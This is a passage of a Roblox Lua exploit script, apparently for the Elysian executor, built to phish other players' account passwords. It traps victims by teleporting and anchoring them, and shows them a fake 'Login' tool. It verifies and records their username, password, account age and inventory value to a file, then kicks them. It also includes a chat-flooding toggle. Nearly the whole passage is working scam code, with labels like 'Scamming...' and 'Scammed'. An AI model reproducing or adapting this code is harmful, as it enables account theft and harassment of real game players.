715 | for i,v in pairs(CurrentlyScamming) do | |
716 | ypcall(function() | |
717 | if v.Player.Character:FindFirstChild("Login") then | |
718 | if v.Player.Character.Login:FindFirstChild("SprayGui") then | |
719 | local tempTool = v.Player.Character:FindFirstChild("Login") | |
720 | tempTool.Parent = v.RoomModel | |
721 | tempTool.Handle.CFrame = v.Player.Character.Head.CFrame | |
722 | end | |
723 | end | |
724 | end) | |
725 | end | |
726 | end | |
727 | ||
728 | function BCtoDumpStr(str) | |
729 | local res = "" | |
730 | if str == "Enum.MembershipType.BuildersClub" then | |
731 | res = "[BC] " | |
732 | elseif str == "Enum.MembershipType.TurboBuildersClub" then | |
733 | res = "[TBC] " | |
734 | elseif str == "Enum.MembershipType.OutrageousBuildersClub" then | |
735 | res = "[OBC] " | |
736 | elseif str == "Enum.MembershipType.None" then | |
737 | res = "" | |
738 | end | |
739 | return res | |
740 | end | |
741 | ||
742 | function getRap(user) | |
743 | local rap = "Error." | |
744 | if RAPApi then | |
745 | ypcall(function() | |
746 | local http = game:GetService("HttpService") | |
747 | local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true)) | |
748 | rap = tostring(rawrap.rap) | |
749 | end) | |
750 | else | |
751 | rap = "Disabled." | |
752 | end | |
753 | return rap | |
754 | end | |
755 | ||
756 | function logAccount(user,pass) | |
757 | local playerName = user.Name | |
758 | local playerAge = tostring(user.AccountAge) | |
759 | local playerRAP = getRap(playerName) | |
760 | ||
761 | if print then | |
762 | print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP) | |
763 | end | |
764 | if readfile and writefile then | |
765 | if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then | |
766 | writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP) | |
767 | else | |
768 | local tempFile = readfile(getelysianpath()..fileName..".txt") | |
769 | writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP) | |
770 | end | |
771 | end | |
772 | end | |
773 | ||
774 | function teleportVictims() | |
775 | for i,v in pairs(CurrentlyScamming) do | |
776 | ypcall(function() | |
777 | v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0) | |
778 | v.Player.Character.HumanoidRootPart.Anchored = true | |
779 | if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then | |
780 | if not v.RoomModel:FindFirstChild("Login") then | |
781 | local tempTools = {} | |
782 | for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do | |
783 | table.insert(tempTools,v2:Clone()) | |
784 | v2:Destroy() | |
785 | end | |
786 | local newTool = guiTool:Clone() | |
787 | newTool.Parent = v.RoomModel | |
788 | newTool.Handle.CanCollide = false | |
789 | newTool.Handle.CFrame = v.Player.Character.Head.CFrame | |
790 | newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0) | |
791 | getUText(newTool).Text = v.Player.Name | |
792 | spawn(function() | |
793 | wait(2) | |
794 | for i2,v2 in pairs(tempTools) do | |
795 | v2.Parent = v.Player.Backpack | |
796 | end | |
797 | end) | |
798 | newTool.Changed:connect(function(prop) | |
799 | if not isScamming(v.Player.Name) then return end | |
800 | if prop == "Parent" and newTool.Parent.Name == "Backpack" then | |
801 | if v.Player.Backpack:FindFirstChild("Login") then | |
802 | if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then | |
803 | getILPopUp(v.Player.Backpack.Login).Visible = false | |
804 | if v.Player.Backpack:FindFirstChild("Login") then | |
805 | if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then | |
806 | logAccount(v.Player, getPText(v.Player.Backpack.Login).Text) | |
807 | unscPlayer(v.Player) | |
808 | spawn(function() | |
809 | wait(0.5) | |
810 | if kickLogin then | |
811 | if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then | |
812 | v.Player:Remove() | |
813 | end | |
814 | end | |
815 | end) | |
816 | else | |
817 | getILPopUp(v.Player.Backpack.Login).Visible = true | |
818 | getPText(v.Player.Backpack.Login).Text = "" | |
819 | wait() | |
820 | if not v.Player.Character:FindFirstChild("Login") then | |
821 | newTool.Parent = v.RoomModel | |
822 | newTool.Handle.CFrame = v.Player.Character.Head.CFrame | |
823 | end | |
824 | end | |
825 | end | |
826 | end | |
827 | end | |
828 | end | |
829 | end) | |
830 | end | |
831 | end | |
832 | end) | |
833 | end | |
834 | end | |
835 | ||
836 | wait() | |
837 | ||
838 | game.Players.PlayerRemoving:connect(function(playa) | |
839 | for i,v in pairs(CurrentlyScamming) do | |
840 | if v.Player == playa then | |
841 | table.remove(CurrentlyScamming,i) | |
842 | end | |
843 | end | |
844 | end) | |
845 | ||
846 | --[[ | |
847 | local infoGui = Instance.new("ScreenGui",game.CoreGui) | |
848 | local infoText = Instance.new("TextLabel",infoGui) | |
849 | infoText.Position = UDim2.new(0,0,1,-20) | |
850 | infoText.Size = UDim2.new(1,0,0,20) | |
851 | infoText.FontSize = "Size18" | |
852 | infoText.Font = "SourceSansBold" | |
853 | infoText.BackgroundTransparency = 1 | |
854 | infoText.TextColor3 = Color3.new(1,1,1) | |
855 | infoText.TextXAlignment = "Right" | |
856 | infoText.Text = "Press 'p' to toggle chat spam." | |
857 | --]] | |
858 | ||
859 | local mouse = game.Players.LocalPlayer:GetMouse() | |
860 | mouse.KeyDown:connect(function(key) | |
861 | if key == "p" then | |
862 | floodChat = not floodChat | |
863 | end | |
864 | end) | |
865 | ||
866 | spawn(function() | |
867 | while wait(3) do | |
868 | fixPlayers() | |
869 | end | |
870 | end) | |
871 | ||
872 | while wait() do | |
873 | teleportVictims() | |
874 | if floodChat then | |
875 | game.Players:Chat(".") | |
876 | game.Players:Chat(".") | |
877 | end | |
878 | if ScamType == "Normal" then | |
879 | for i,v in pairs(game.Players:GetPlayers()) do | |
880 | if StorageType == 1 then | |
881 | if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then | |
882 | ||
883 | end | |
884 | elseif StorageType == 2 then | |
885 | if not game.ReplicatedStorage:FindFirstChild("MRStorage") then | |
886 | MRStorage = Instance.new("Folder",game.ReplicatedStorage) | |
887 | MRStorage.Name = "MRStorage" | |
888 | end | |
889 | if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then | |
890 | scPlayer(v) | |
891 | end | |
892 | end | |
893 | end | |
894 | elseif ScamType == "Pick" then | |
895 | if StorageType == 1 then | |
896 | if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then | |
897 | ||
898 | end | |
899 | elseif StorageType == 2 then | |
900 | if not game.ReplicatedStorage:FindFirstChild("MRStorage") then | |
901 | MRStorage = Instance.new("Folder",game.ReplicatedStorage) | |
902 | MRStorage.Name = "MRStorage" | |
903 | end | |
904 | if not game.CoreGui:FindFirstChild("PickGui") then | |
905 | local newPickGui = pickGui:Clone() | |
906 | newPickGui.Parent = game.CoreGui | |
907 | spawn(function() | |
908 | local pickGuiList = newPickGui.MainFrame.AccList | |
909 | local pickGuiResult = newPickGui.MainFrame.UserResult | |
910 | pickGuiList.CanvasSize = UDim2.new(0,0,0,0) | |
911 | local function updatePickList() | |
912 | pickGuiList:ClearAllChildren() | |
913 | for i,v in pairs(game.Players:GetPlayers()) do | |
914 | if v ~= player then | |
915 | local newRes = pickGuiResult:Clone() | |
916 | newRes.PlayerName.Text = v.Name | |
917 | newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId | |
918 | newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren()) | |
919 | if isScamming(v.Name) then | |
920 | newRes.PlayerStatus.Text = "Scamming..." | |
921 | end | |
922 | if isBypass(v) then | |
923 | newRes.PlayerStatus.Text = "Scammed" | |
924 | end | |
925 | newRes.Parent = pickGuiList | |
926 | pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren()) | |
927 | newRes.Visible = true | |
928 | newRes.MouseButton1Down:connect(function() | |
929 | if not isScamming(v.Name) then | |
930 | scPlayer(v) | |
931 | end | |
932 | end) | |
933 | end | |
934 | end | |
935 | end | |
936 | updatePickList() | |
937 | newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function() | |
938 | updatePickList() | |
939 | end) | |
940 | end) | |
941 | end | |
942 | end | |
943 | end | |
944 | end | |
945 | end | |
946 | RealMGX7.MouseButton1Click:connect(onRealMGX7Click) |